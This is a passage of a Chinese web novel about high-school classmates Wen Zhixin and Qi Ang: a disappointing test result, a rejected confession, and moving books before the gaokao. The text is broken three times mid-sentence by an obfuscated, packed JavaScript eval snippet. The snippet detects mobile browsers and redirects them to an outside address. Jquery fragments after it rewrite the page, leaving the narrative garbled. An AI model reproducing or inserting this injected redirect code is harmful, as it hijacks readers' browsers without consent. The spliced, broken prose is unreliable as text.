姜寐买了两包薯片,原味的自己吃,黄瓜味道的给傅云星。 温知新没什么要买的,挑挑拣拣拿了根冰棒,握住两端轻轻一掰就成了两半,姜寐这几天不能吃凉的,温知新就没分给她。 走出五楼的楼梯拐角,碰见刚从办公室出来的许妄,温知新把另一半冰棒给了他。 “多谢新帝。” “赵姐找你干什么?”姜寐问,“你爸爸同意给你签退学申请书了?” “能不能别提以前的事情了。”许妄一口咬掉半个棒冰,含含糊糊地说,“周测退步了十几名,批了我一顿。” “你值得。”姜寐竖大拇指,“让你天天晚上拉傅云星上号打游戏。” 许妄问:“傅哥第几?” 姜寐:“第四。” 许妄:“……游戏打少了。” 姜寐用薯片袋子拍他胸口,“你少带坏人,他本来只爱看漫画的,现在都快成网瘾少年了。” “哎呀哎呀。”许妄把最后一口棒冰吃完,冰的他脑门疼,捂着额头坚持说完,“人不网瘾枉少年啊。” “你全是歪理。”姜寐指指点点。 许妄不甚在意,把垃圾丢到走廊的垃圾桶里,从裤子口袋里翻出一包纸巾,抽了两张,一张给自己,一张递给温知新。 许妄边擦手边和温知新说:“哦对了,赵姐要你回来之后去找她。” “干什么?” 许妄说:“不知道,估计也是因为这次周测成绩吧,你考多少?” “就那样,没多少。”温知新含糊过去,“我去办公室了。” 在温知新转身之后,姜寐打了许妄两下,“你非要哪壶不开提哪壶吗?” “我提哪壶了?”许妄纳闷。 姜寐说:“成绩啊,你没看出来温温不高兴吗?一看就是没考好,还问。” 许妄问:“没考好是考第几啊?” “好像是第六。”姜寐说。 许妄:“……第六算没考好吗?那我考第二十六算什么,考炸了?” 姜寐说:“这能一样吗?从全省第一到全班第六,换成你更难受。” 许妄挠挠头,说:“但新帝应该没这么脆弱吧。” 温知新是红着眼睛回的教室,坐到位置上低着脑袋,一言不发地掉眼泪。 许妄:“……啊,真这么脆弱啊。” 姜寐又打了他一下,接着捧着纸巾盒飞奔过去。 温知新没想哭,至少没想过在教室这种全是人的地方哭,因为真的很丢人。 她原本只打算伤心一个课间,然后继续刷题,如果之后还难过的话,那就回家哭。 没人会看见,第二天她依旧是乐观积极向上的温知新。 在进办公室之前,温知新已经做好了被训一通的准备,这也没什么大不了的,毕竟她经常听温倩训话。 然而赵言心只是轻轻握住她的手,温声细语地说:“不要着急,所有的坚持都会有结果的,我很相信你。” 相比暖心安慰,温知新宁愿赵言心劈头盖脸批她一顿,说她最近都在想什么,居然退步这么大。 那样的话,最起码她不会因为考了第六名就觉得自己罪大恶极。 好矫情,别哭了。 温知新一边擦泪一边在心底警告自己,却于事无补,眼泪止不住地流。 她手里攥满了姜寐递过来的纸巾,身边围着一群朋友。 姜寐、舒格、钱高怡、许妄、彭国豪、方集……大家挤在一张小小的课桌前,七嘴八舌安慰着温知新。 十七岁,天会因为一次没考好的周测而塌下来,也会因为朋友的修修补补而恢复。 温知新抬起头,被一堆扎在一起的脑袋吓了一跳,说话鼻音很重,“大家都围在一起有点儿闷。” 于是十几号人都拿起了书,不得章法地胡乱冲着温知新扇风。 许妄最卖力,一边扇一边问:“现在呢,新帝!” 温知新破涕为笑,“现在很凉快了。” 祁昂回来就看见这一幕,他站在门口足足愣了半分钟,才继续往里走。 然后发现课桌上属于他的三本书全没了,他看了一圈围在桌前的人,下一秒,哗哗哗,三本书又都回来了。 祁昂:“……”他明明什么都没说。 温知新被这个画面逗笑,脸上还挂着泪呢,就笑了起来。 祁昂的表情也从无奈变成了无奈的轻笑。 “快上课了,我们让温温自己静一静吧。”姜寐招呼着一大帮人浩浩荡荡地离开了。 “怎么了?”上节空白自习祁昂就出去帮老师整理资料,刚回来还没发现成绩条,只顾着看温知新去了。 温知新摇摇头,擦干眼泪,声音还是闷闷的:“没什么。” 祁昂盯着她看了两三秒,点点头,重复她的话,“好,没什么。” 然后他看见了自己桌上的成绩条。 数字1、2、2、1……交替排布,没什么好研究的,只是一次周测而已。 他随手把成绩条丢进垃圾袋里,动作一顿,看见了一个“新|6”。 这很好猜出来,姓名加总排名。 温知新6。 眼泪很轻而易举就有了答案。 祁昂没说什么,直接把垃圾袋丢进了教室后面的垃圾桶里。 回来时温知新已经在刷题了。 祁昂收起原本打算看的杂志,在杂乱的课桌上翻了好一会儿,才找到目标试卷。 一开始他的课桌是很简洁的,一支笔、两本上课要用的习题册或者一本课外读物。 但温知新的东西很多,一张课桌放不下,所以就开疆扩土到他这里,大手一挥就征走了半张桌子。 当时祁昂反抗,说什么也不让温知新破坏他领地的生态,结果温知新不来武的来文的,双手合十,眨着眼睛求他。 “拜托拜托。” 温知新的眼睛真的是很亮。 祁昂那瞬间只有这一个想法,总之反应过来的时候温知新已经欢欢喜喜地往他桌上搬东西了。 许妄得知这件事之后很痛心疾首地感叹:“世风日下,世态炎凉,世界以痛吻我。” 祁昂:“说人话。” 许妄晃着他的肩:“初中有一次放学,我想把我的笔袋放进你的书包里,你说你书包里每样东西都有固定的位置,没有我笔袋的容身之地!” 祁昂:“现在也没有。” 许妄:“滚啊!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15368250|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是温知新最沉默的一个晚自习,她化悲伤为动力,埋头苦写了三个小时。 除了中间晚二下课交了一回作业之外再没抬过头。 放学铃响,她还在写,班上人都走干净了,她终于写完了。 咔哒三声,按动笔的笔尖收了回去,温知新往后仰头,感觉脖子都不是自己的了。 “累死了。”她看着天花板,叹了口气,“能不能明天就高考。” “你去问问高三生同不同意?”祁昂说。 “唉,回家。”温知新直起身,开始收拾书包。 周测卷上还有几道题没弄明白,她今晚的任务就是把这些不会的题通通搞懂。 在书堆里翻出卷子,温知新愣了一下,去看祁昂,这人很得意地挑了下眉。 为方便,她事先把不会的题都标注了出来,而现在那些题目旁边都被贴上了便利贴,上面写着简便算法。 “什么时候写的?”温知新问。 “晚自习,闲的无聊。” 温知新很轻地拧了一下眉,随后把试卷放进书包,说:“谢谢。” 祁昂知道温知新因为成绩不开心,拿过她的书包,默默走在她的身边。 温知新沉默着,不止因为成绩,也因为祁昂,更因为自己。 她不清楚自己现在对祁昂是喜欢多一点,还是羡慕多一点,又或者是嫉妒多一点。 祁昂满不在乎地放弃了所有她得不到的东西,竞赛金牌,江大保送,藤校名额。 又很轻松地解开了她不会的题,这种对比几乎要把她锤进自卑的角落里。 她接受自己没天赋,却又不甘心。 无论哪个方面,她都不想输给祁昂。 可惜一中到书香别苑的距离实在太近,温知新还没琢磨明白自己对祁昂究竟是哪种感情占上风,就已经到了单元楼下。 祁昂从口袋里掏出好多酸糖,全都放进了温知新的掌心,夜风里,他的声音轻轻。 “都给你,别不开心,温知新。” 路灯下,塑料包装纸折射出彩色的光,温知新盯着看了几秒后攥紧手心,有棱有角的硬塑料带来的痛感,顺着脉络刺进心脏。 她说:“下次一定会考过你的。” 祁昂愣了一下,不知道话题怎么转到这里来的,但他很认真地看着温知新,“不是已经考过我很多次了吗?” “怎么愣住了?不记得了?”祁昂轻笑,“你只有刚转来的那个月考过第二,之后都是第一,全班全校全区全省,都是。” 温知新其实不记得自己考过多少次第一,因为那些都没有这回的第六让她印象深刻。 “是吗?” “是。”祁昂拍拍她脑袋,“温知新,你特别厉害。” “比你还厉害吗?”温知新问。 “为什么要和我比?” “不可以吗?” “我不想输,也不想你输。”祁昂摊开空空如也的手,“我没有糖了。” 温知新一巴掌拍上去,“谁要你哄了。” 手掌交叠,不属于自己的温热在两个人之间传递,温知新迅速抽回手,指尖划过祁昂掌心。 祁昂反应更大,立刻把双手插进口袋里,不去看温知新。 温知新感觉自己被嫌弃了。 “之前要抱一下的时候不见你躲得这么快。” 祁昂说:“没有。” “没有。”温知新阴阳怪气学他讲话,惹得祁昂无奈笑起来。 “再抱一下?”祁昂张开双臂。 温知新迅速背上书包跑进楼道里,冲祁昂做鬼脸,“才不要,嫌弃你。” 祁昂轻笑,单手插在口袋里,“晚安,温知新,下周见。” “下周见。”温知新摆手。 祁昂挑眉。 温知新笑着补上:“晚安祁昂。” 祁昂心满意足。 进电梯,温知新靠着轿厢壁板,眼睛看着不断上升的数字,在心底给自己打气。 只要笔还在手里,那么她想要的就一定能得到。 39. 午后 五月末,温倩项目组接了一个大单子,原本定好回宜安的时间被一推再推。 她忙得焦头烂额,桌角手机亮了起来,锁屏壁纸是七岁的温知新。 扎着羊角辫,小小一只窝在大熊的怀里,对着镜头咧嘴笑,门牙还缺了一颗。 温倩疲惫的脸上露出笑容,她点开微信,发现是班主任发来的成绩单。 那点儿笑容瞬间消失殆尽。 她从来没见过温知新考过这么差。 六百五十分,第六名。 虽然赵言心说因为每次考试的侧重点不同,所以成绩有起伏也是很正常的,测验最重要的还是查漏补缺。 但是温倩只觉得这是老师在打官腔。 她马上拨通温知新的电话。 “妈妈。”温知新立刻接起电话,仿佛早就在等着了。 “发生什么了?”温倩问。 早在学校哭过,温知新现在很平静:“什么也没发生,我没考好,不会有下次了。” “你知道妈妈费了多少力气才把你送进一中的吗?不要让我失望。” “知道。” 温倩问:“一中午休时间多长?” 温知新立马明白她想干什么,说:“两个小时,下个月开始我就不回来了,留在教室。” 温倩说:“好。天热,这周末也别出去了,留在家里写作业吧。” “知道。” “我过几天就回去,你自己一个人别总瞎跑,我先去工作了。” “嗯,妈妈拜拜,注意身体。” 挂断电话,温知新像卸掉一身重担,脱力般靠着椅背,手背搭在眼睛上,无声的休息了一小会儿,接着继续学习。 便利贴上祁昂潇洒的字体,很好看,但是他写解析和他讲题一个样子,省步骤。 温知新压根不明白怎么从“核磁共振氢谱为5组峰,且峰面积之比为2:2:2:1:1”的前提下推出某个有机化学物分子。 十一点,不知道祁昂睡了没有。 温知新敲着手机背面,犹豫着要不要给他发信息。 这很像一种示弱,温知新不想承认自己比祁昂弱,但是为了学会一个知识点,问问题又是逃不开的一环。 成绩面前,一切都是浮云。 温知新试探着给他发了一条表情。 温故而知新:【[玫瑰]】 祁昂秒回。 7:【1】 温故而知新:【你还没睡呢?】 7:【忙事情,怎么了?】 温故而知新:【[图片]这道题还是不太会】 她刚把这句话发过去,祁昂就弹了电话过来,不是语音,而是视频。 温知新惊了一下,下意识点了挂断。 7:【?】 温故而知新:【按错了】 接着给他拨了回去,还是视频。 祁昂立马接通。 预想中的帅气脸庞没有出现,祁昂开的后置摄像头,通话框里的画面是他的书桌。 干净到像家具城的展示商品。 一盏台灯,一台笔记本电脑,一支笔和一个本子。 温知新心虚地看了看自己的书桌,乱的像被炮仗轰过。 她往下倾斜摄像头,只把自己的错题本框了进去。 “还以为你不想理我,温知新。”祁昂说。 温知新疑惑:“我为什么要不理你?” “你不理我的次数很少吗?” “再说我就真的不理你了。” “错了。”祁昂笑,“讲题吧。” 祁昂的声音轻轻低低的,像隔着一堵墙拉奏大提琴,缥缈悠扬,很让人放松。 “我讲明白了吗?” “很清楚,多谢你。” “不客气。” 题都讲完了,也已经十一点了,手机屏幕上,两张草稿纸在遥遥相望。 他们都不约而同沉默着,却没人说要挂断电话。 “喵——” 一道猫叫打破夜晚的静谧,温知新瞬间激动起来,“和和还没睡吗?” “没有,中午睡太久了,现在很精神。”祁昂说。 下一秒,他那边的画面里就多了一只小猫,鼻尖凑过来蹭摄像头。 “晚上好,和和。” “喵呜——” “你长胖了好多呢,和和。” “喵——” 和和先是用脸去拱手机,觉得没意思转身就要走,祁昂摸了摸它的脑袋,把猫放到了地板上。 温知新看着屏幕里那只白皙修长,骨节分明的手掌,眼睛亮了亮。 “前天宠物医院的姐姐给我打电话,说小橘状态也很不错,等生完小小猫之后就给它们找领养,但可惜我不能养。” “以后可以。”祁昂说。 温知新思维发散,想什么说什么,“嗯,我工作之后要买一套独栋小别墅,带小花园那种,然后养三只小猫。” “为什么是三只?” “不知道,就想要三只。” “好,那就三只。” 温知新不知道祁昂说什么“好”,是她要养小猫,和他又没有关系。 “都十一点了,你快睡吧。”温知新看了一眼时间,“我继续刷题去了,拜拜拜拜。” “拜。” - 周一,儿童节。 一中很童心地在校园主干道两旁系上了五颜六色的氢气球。 每个人还有一根棒棒糖。 温知新不喜欢吃甜的,拿到糖之后就把它塞进了祁昂手里。 祁昂放下自己的那根棒棒糖,转头把温知新给自己的拆开吃了。 草莓味。 温知新摆弄着自己很久没戴的眼镜,和祁昂聊天,“我以后中午就不回家了,别再等我。” “好。”祁昂说,“我也要留下来。” “你留下来干什么?” “防止你猝死了没人发现。” “少咒我。”温知新用习题册去打他的手臂,“你这几天能不能帮我把一部分书先运回去。” 高考之前会清理教室,所有书都要搬回家,温知新足足有三个书箱加一个书柜的书,她必须要从今天开始整理,才能四号之前全部搬完。 “运哪里?” 这是个好问题。 温知新托着下巴思考起来。 运回她家的话,温倩说不定什么回来,到时候她和这些乱七八糟的小说全都会一命呜呼。 还是运到别人家比较保险。 “放睡睡家吧,就是有点远。” “可以放我那里,你想拿也方便。”祁昂说。 温知新矜持起来:“好啊,但是会不会太麻烦你了?” “温知新,你少来。” “这半箱都搬走, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15384582|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢谢你,小祁先生。” 祁昂看着她装腔作势地指着书箱,偏过头笑个不停。 不用等温知新一起回家,祁昂也不用在食堂吃那些不喜欢的菜。 中午放学的时候,温知新就把需要搬回去的书都收拾好了,摞起了一座很直观的小山。 祁昂的手肘压在那摞书上,“温知新,你是要在自己猝死之前,先把我累死吗?” “是有这个想法啦。”温知新装作扭捏,“嘶——祁昂,你又弹我脑瓜崩。” 她捂着额头,愤愤地抬眼看祁昂,对方很嚣张地挑眉,说这是报酬。 “你同意了?” “不然?” 祁昂的山地车一没筐二没后座,搬东西只能采用最原始的方法——人力背。 温知新压根没想过他会同意。 将近二十本小说,傻子才同意呢。 “笨蛋,谁要你自己背了。”温知新早有准备,她从口袋里掏出一把钥匙,“电瓶车,停在学校旁边那家奶茶店前面,蓝色的。” “从哪里找来的电瓶车?” “和舒格换的,她骑我的自行车回家。而且我还借来了这个,当当当——” 她侧身,露出身后的东西。 是超市购物时会用到的篮子,有四个轮子,拉起来很方便。 “我们一起把这些书搬下去,然后你就拉着这个篮子去找车。”温知新笑得特别灿烂,晃着自己的食指,“一点儿都不会累。” 祁昂看着她生动鲜活的表情,慢慢笑起来,“好的,天才。” “走吧,我还要去食堂吃饭呢。”天才少女施号发令,祁昂和她一起搬着购物篮下楼。 平地之后就开始拉着走,祁昂人高,购物篮的把手又有些短,所以就需要他稍微弯腰。 于是整个画面看起来就很幽默,温知新在后面笑的直不起腰。 祁昂停下来,用眼神警告她。 毕竟是她有求于人,温知新立马正经起来,直起身,很庄严肃穆地朝祁昂招手。 “一路顺风,祁先生。” “你少装,温知新。” 真是今时不同往日,她居然会被bking说装。 “快走啦,拜拜拜拜。” “拜。” - 一中允许学生中午留校,中央空调不会关,所以教室里并不热。 中午不回家对温知新来说没什么所谓。 本来她没什么睡午觉的需求,写完作业在桌上趴着小憩一会儿就够。 温知新睡觉需要声音,但现在毕竟是在教室,她不敢用手机,于是翻出之前买的随身听,插上有线耳机,塞到耳朵里任它随机播放音乐。 窗帘把阳光过滤到适合睡午觉的亮度,温知新枕着手臂慢慢睡着了。 耳机里的歌从王菲放到孙燕姿,又从五月天放到周杰伦。 大概过了十几分钟,班里陆续来人,温知新挣扎着睁开眼睛,在模糊的视线里,看见一个人影。 走过来,停在她面前,弯下腰,一张毫无瑕疵的帅气脸庞逐渐放大,又逐渐变得清晰。 祁昂看着温知新发懵的表情,抬起手在她耳边打了个响指。 清脆的“嗒”声完美契合温知新耳机里音乐的停顿。 紧接着,温知新听到那句“笑一个吧”,而她眼前是在轻笑的祁昂。 “下午好,温知新。” 40. 表白 要怎么描述那瞬间的感受。 窗帘在晃动,阳光在晃动,若隐若现的绿色在晃动,温知新的心也在晃动。 轻盈,柔和,一塌糊涂。 她后知后觉有些不好意思,扯下耳机,把头死死埋在手臂里,不肯去看祁昂。 更清楚的轻笑声落下来,她的脑袋被摸了好几下。 “呃,学姐?” 一道男声打破此时气氛,温知新扒拉掉脑袋上的手,抬起头来,看到宋嘉平的眼神正在自己和祁昂身上扫视。 温知新轻轻皱了一下眉,她不喜欢这种被打量的感觉。 祁昂也不喜欢,他干脆单手插兜,就站在温知新侧前方,冷冷看着宋嘉平。 温知新问宋嘉平,“怎么了?” 宋嘉平笑了一下,“我有点事想和你说,你能出来一下吗?” “哦,好。”温知新起身出去,对上祁昂冷死人不偿命的眼神笑了一下,悄悄拍拍他的手背,安抚意味很明显。 祁昂勉为其难让开位置。 走廊人来人往,宋嘉平把温知新拉到一个角落里,凸起的墙壁挡住他们。 “要说什么这是,这么神秘。” 宋嘉平脸很红,从背后拿出来一封信和一个礼品袋,“学姐,六一儿童节快乐,其实我……我喜欢你很久了,你看我有机会吗?” 看着宋嘉平颤抖的双手,温知新心里没什么波澜,她仍然温和地笑着,说:“没有机会。” “为什么?是因为祁昂吗?你们在一起了吗?” 温知新被他的三连问打懵了,哪儿跟哪儿啊。 “不,和他有什么关系。”温知新觉得莫名其妙,“我不喜欢你,也不想在高中谈恋爱,所以你没机会,就这么简单。” “还有,礼物和信都拿回去吧,很抱歉让你的六一不太快乐了。” 宋嘉平不死心,还在追问:“那学姐你是喜欢祁昂吗?” “啧。”温知新真被问烦了,拒绝宋嘉平的不是自己吗,理由不也说清楚了是不喜欢吗,到底关祁昂什么事啊,他人甚至都没在这里。 “不是,我谁都不喜欢,我只喜欢自己。” 宋嘉平问:“那我们还能继续做朋友吗?” “可以,如果你想的话。”温知新对朋友的定义很宽泛,点头之交也算朋友,她就把宋嘉平归到那一类里。 “嗯,那我们还是做朋友吧,对不起,今天是我太唐突了,当我没来过吧,学姐再见。”宋嘉平走出去几步,又跑回来,把礼物塞到温知新手里,接着更快地跑走了。 温知新追了没追上,靠着楼梯扶手喘气,“服了,他不去当短跑运动员真是可惜。” “什么可惜?”祁昂走到她旁边,不冷不淡地问。 温知新把礼品袋给他看,“这个,宋嘉平给的,跑的特别快,我想还给他但是没追上。” 祁昂轻轻拧着眉,一根手指挑开袋子,看到里面的东西,一只平平无奇的水晶球,比较出彩的是中央那个小人和温知新有两分相像。 “只是送礼物?” “还祝我儿童节快乐。” “只是祝你儿童节快乐?” “还表白了。” “……再问会不会快进到你们在一起?”祁昂冷声冷调,阴阳怪气。 “我现在很烦。”温知新指着他,“你别给我脸色看。” “没有,你想怎么解决?”祁昂问。 “还回去呗,总不能扔了吧。”温知新叹口气,大中午的就要爬楼梯,累死她算了,“还有多久上课,我给他送回去。” “十分钟。” “来得及,我去了,拜。” 温知新抓住袋子的拎绳,一步两个台阶地往下迈,马尾一甩一甩的。 祁昂本想替她去一趟,但这是温知新自己的事情,她同意表白或者拒绝表白,她收下礼物或者退回礼物,都只看她的意愿,任何人都无权干涉。 下午第一节是体育课,温知新把礼物宋嘉平之后直接去了室内体育馆。 姜寐和傅云星不紧不慢地走过来,把买的冰水递给她,问她怎么来这么快。 “去实验楼有点事,顺道过来了。” 姜寐坐到温知新身边,问:“我昨晚把生日流程发群里了,你看见没有?” 温知新点头:“看到了,早就把那两天空出来了,请睡睡大侠放心。” “这还差不多。” 姜寐很注重仪式感,在她看来十七岁的生日比十八岁还要重要,她在乎的人必须都要出席。 许妄问她为什么,明明十八岁才是成年。 姜寐很理所当然地回答他:“只有十七岁的雨季,又没有十八岁的雨季。” 许妄:“……”这什么乱七八糟的理由。 天越来越热,体育课连跑圈都省略了,直接让学生们自由活动。 许妄没去打篮球,祁昂和傅云星也没抢到网球场地,他们三个人找到温知新姜寐和舒格,坐成一圈,聊天侃地。 “你们以后都想干什么?”姜寐问。 “当摇滚歌手。”许妄摆出rockandroll的手势,“我的毕生梦想。” 姜寐笑死了,拉着温知新和舒格讲许妄以前的事情。 “许妄之前叫许望,期望的望。” 但是他初二的时候觉醒了摇滚之魂,觉得自己这个名字一点都不摇滚,所以他就求着他爸给他改名字。 在一堆据说很霸气的字里面挑挑拣拣,选了这个“妄”出来。 这还不算完,改完名之后他就要退学去追梦。 刚打印好退学申请书就被他爸拿着皮带揍回家,打了一晚上。 “这么有血性。”温知新竖大拇指,揶揄,“吾辈楷模。” “现在是要互相揭老底是吧。”许妄指着姜寐,“你完了。” “原来姜寐初中是要出国读的。” 她会在美国读完中学大学和硕士,拿到MBA学位之后回国接手公司,家里给她铺了一条十分金碧辉煌的未来。 然而姜寐在上飞机的前一秒不干了。 说什么也不要出去,就要留在宜安上学,很有骨气地宣布,她要靠自己。 为表决心,还绝食了三天。 家里人拗不过她,只好把她转到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15388112|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宜安一中初中部,和傅云星一起上学。 温知新早听过这件事,甚至比许妄知道的还多一点。 比如姜寐并不是觉得去国外读书没意思才甩手不干的,而是因为傅云星没和她一起。 那会儿傅云星刚到姜家没多久,很胆小,不敢看别人的眼睛,不敢和别人说话,只有待在姜寐身边才会好一点。 在得知傅云星不会和自己一起去的当下,她就闹了,说傅云星不去她也不去,她要留在宜安和傅云星一起。 签证学校都需要花时间去办,短时间内没办法把傅云星也送出国,再加上姜寐态度强硬,姜父姜母只好同意让姜寐留在国内,和傅云星一起上学。 傅云星去看姜寐,姜寐笑一下,在他耳边悄悄说:“说八百遍了和你没关系,别再怪自己,再说,我这么厉害,本来就不需要他们帮我铺路。” 许妄坐在对面,没听见他俩说什么,只是很激动的要继续爆料。 “下一个该说谁了,阿祁。阿祁初中也很疯的。” “不是在问以后想干什么吗?”祁昂打断许妄,声音清冽,“我以后想养猫。” 许妄立马就跟着他的话题走,“你不是已经养了吗?” 祁昂:“想多养几只。” “你还挺喜欢小猫的。”许妄说,“舒格呢,舒格以后想干什么?” 舒格说:“考个好大学,毕业找个好工作,没了。” “什么算好工作?”许妄说,“能赚大钱的,还是你喜欢的?” 舒格想了一会儿,说:“先赚钱吧,赚够钱才能去谈喜不喜欢。” “嗯,有道理,希望你以后能赚大钱。”许妄又问:“知新你有没有想过自己以后会是什么样子?” 温知新眨眨眼,说:“赚很多钱,爱很多人,谈很多次恋爱,分很多次手。” “什么毛病?”许妄不可置信地看着温知新,又怕她是认真的,连忙和她讲分手有多痛苦。 姜寐帮腔:“是啊是啊,许妄和他前女友三分三合,现在想起来还哭呢。” “姜寐!”许妄怒而起身,追着姜寐满体育馆跑。 舒格和傅云星去看热闹,温知新也想去,刚起身却被祁昂抓住校服下摆。 “你刚才是认真的吗?” 温知新低头看他,笑了一下,“假的,我只想赚很多钱,然后过上自己想要的生活。” “什么生活?” “爱很多人,谈很多恋爱,分很多次手。” “……” “开玩笑。”温知新弯腰,盯着祁昂的眼睛,笑起来,“我以后想要什么生活不是告诉过你了吗?别说我思想不正啦,大圣人。” 她转身参与到许妄姜寐的追击大作战里,留祁昂一个人在原地,坐在高高的观众席上。 阳光从挑高的窗户里穿进来,落在地上,是四方的形状。 温知新奔跑着,穿过那道阳光,发尾飘扬,周身都金灿灿的。 和扑过来的姜寐抱了个满怀,又把舒格拉进怀抱里,她往后仰着头大笑着。 祁昂听不见那笑声,只是远远看着,竟然也跟着轻轻笑起来。 41. 搬书 宋嘉平的表白没在温知新心里掀起一点波澜。 奈何身边有个小心眼的人一直阴阳怪气。 看到“水晶”要提水晶球,看到“球”要提水晶球,在课本上看到一个扎马尾的小女孩也要提一句“那只水晶球里的小人和你有点像”。 温知新懒得理他,一句话结束战斗。 “再说绝交。” 祁昂立马安静。 温知新乐了,握着笔转头看他,“你还记得我刚转学来的时候你什么态度吗?” “不记得。” “不记得没关系,我帮你回忆。”温知新清咳两声,学着祁昂的语气语调说话,“温知新,我知道以我的身份不应该对你的生活指手画脚……” “欸——不指手画脚了改动手动脚了是吧。”温知新放下笔去攥祁昂的手腕,挡住他的攻击。 “祁昂。”赵元亮从四楼上来喊他去学生会开会,隔着窗户就看见他和新帝在玩闹。 乖乖,原来祁昂会笑啊。 “来了。”祁昂一下子又变成那副冰冻八百里,生人勿近的模样。 温知新偷笑,既因为祁昂变脸神速,也因为自己拥有的那一份特殊。 她趴着桌子上,摆弄着笔袋上的小机器人,按下背后的按钮,才发现原本的“温知新,你好”不知道什么时候被祁昂换成了“温知新,超级厉害”。 课间教室很喧闹,机器人带电的声音依旧是祁昂说话时独有的顿挫,声音很小,只有温知新的心里泛起了涟漪。 等祁昂回来之后,温知新问他怎么突然把语音改成这个。 祁昂避重就轻:“最近在研究机器人,随便拿你这个练练手。” “为什么会改成超级厉害,不是别的?”温知新又问了一遍。 祁昂不自然地揉着耳垂,说:“那次周测之后感觉你一直有点自我怀疑,所以……” 所以就录了这个音频,希望能给你一点点微弱的鼓励。 “祁昂,你是不是挺喜欢……”温知新顿了一下,对着祁昂明亮的眼神,继续说,“挺喜欢机器人的?” 祁昂笑起来,有些失落又有些如释重负,他点头:“对,一直在研究。” 温知新说:“那祝你自己的机器人早日问世,到时候记得给我留一个。” “好,一定。” 但是大发明家在成为大发明家之前,还是需要老老实实帮自己的同桌搬书的。 中午的时候是祁昂自己搬,晚上就是温知新和祁昂一起搬。 她去骑车,让祁昂在校门口等自己。 电瓶车是天蓝色的,店家还给了两只同色系的头盔。 温知新拧紧油门,一路飞驰电掣,漂移到祁昂面前,方方圆圆的头盔下是一张笑得灿烂的鹅蛋脸。 “hello,同学,要不要搭顺风车呀?” 祁昂拉着一大筐书站在街边,笑着说:“我骑吧。” “不要,你坐后面去。”温知新把头盔递给他,“今晚让你见识一下宜安车神。” 祁昂轻笑,把购物筐的轮子卡在踏板两边,确认不会松动后接过头盔。 “一定要戴?”祁昂天然抗拒彩色,他自己骑车的时候就没戴这只头盔。 “不戴出车祸就等死吧。”温知新说。 “可你是车神。” “不戴头盔罚款五块钱,还要发朋友圈集赞,车神可不想丢钱又丢人。”温知新从祁昂手里拿过头盔,冲他招手,“过来,低头。” 祁昂乖乖站过去,弯下腰低头。 温知新把头盔盖到他脑袋上,调整下颏带长度,严丝合缝地扣上卡扣。 然后屈起手指敲了两下,故作深沉地说:“嗯,熟了,好瓜。” 祁昂双手搭在膝上,低头笑着,任温知新在自己脑袋上敲敲打打。 “是要把我敲傻才罢休吗?” “被看穿了。”温知新收手,“把你敲傻我就少了一个竞争对手。” 祁昂起身,冲踏板上的书抬下巴,“谨言慎行,我有一堆你的书质。” 书质。 好有病的描述。 温知新扶着电瓶车的车把快笑死了。 “上车吧,回去刷题呢我还要。” “好。” 车子停在祁昂家的单元楼下,两个人站在楼道里等电梯下行。 门开,温知新先看见一个穿着衬衫长裤的女人怀里抱着的那只小猫,通体雪白,只有额头上有一点黑。 “小姨。” “轩轩。” “和和。” 三人同时开口,面面相觑,楼道一时间又安静下去。 “小姨,这是我朋友温知新,高考收拾教室,她来帮我搬书。”祁昂先开口介绍,“这是我小姨,来看和和。” “小姨好。”温知新乖乖打招呼。 “知新晚上好。”祁云岫笑得很温柔,“谢谢你来帮轩轩搬书,我以为他在学校就小望一个朋友呢。” “我们是同桌,互相帮助是应该的。”温知新笑,“那我先走了,再见祁昂,再见小姨,再见和和。” 温知新很恋恋不舍地看了好几眼祁云岫怀里的小猫,圆圆的眼睛也在好奇地打量着她。 小猫小猫小猫。 想摸想摸想摸。 祁云岫笑,问温知新:“你想抱一下吗?” “想!谢谢小姨。”温知新期待地抱起和和,爱不释手地摸来摸去。 祁云岫嘴角带着淡淡的笑,视线里祁昂的眼神一直在女生身上。 “砰——” 楼梯间不知什么掉落,发出了一声响,温知新跟和和一起往声源方向抬头。 祁昂恰好也站在那个方向,于是他看见一人一猫,都睁着圆圆的眼睛,动作出奇一致地望过来。 他偏过头,躲过那道视线,很轻地笑了一下。 祁云峥捂着额头,简直没眼看。 “小姨你是要跟和和一起出去散步吗?”温知新把和和送回祁云峥怀里,“那我不打扰你了,拜拜小姨,拜拜和和。” 她挥手,转身骑上电瓶车飞驰离开。 “你喜欢的女生?”祁云峥好整以暇地看着祁昂。 祁昂揉着耳垂,很慢很坚定地点头。 “嗯。” “你在追她吗?” “没有。”祁昂说,“现在不能追,学习更重要,未来有很多时间。” 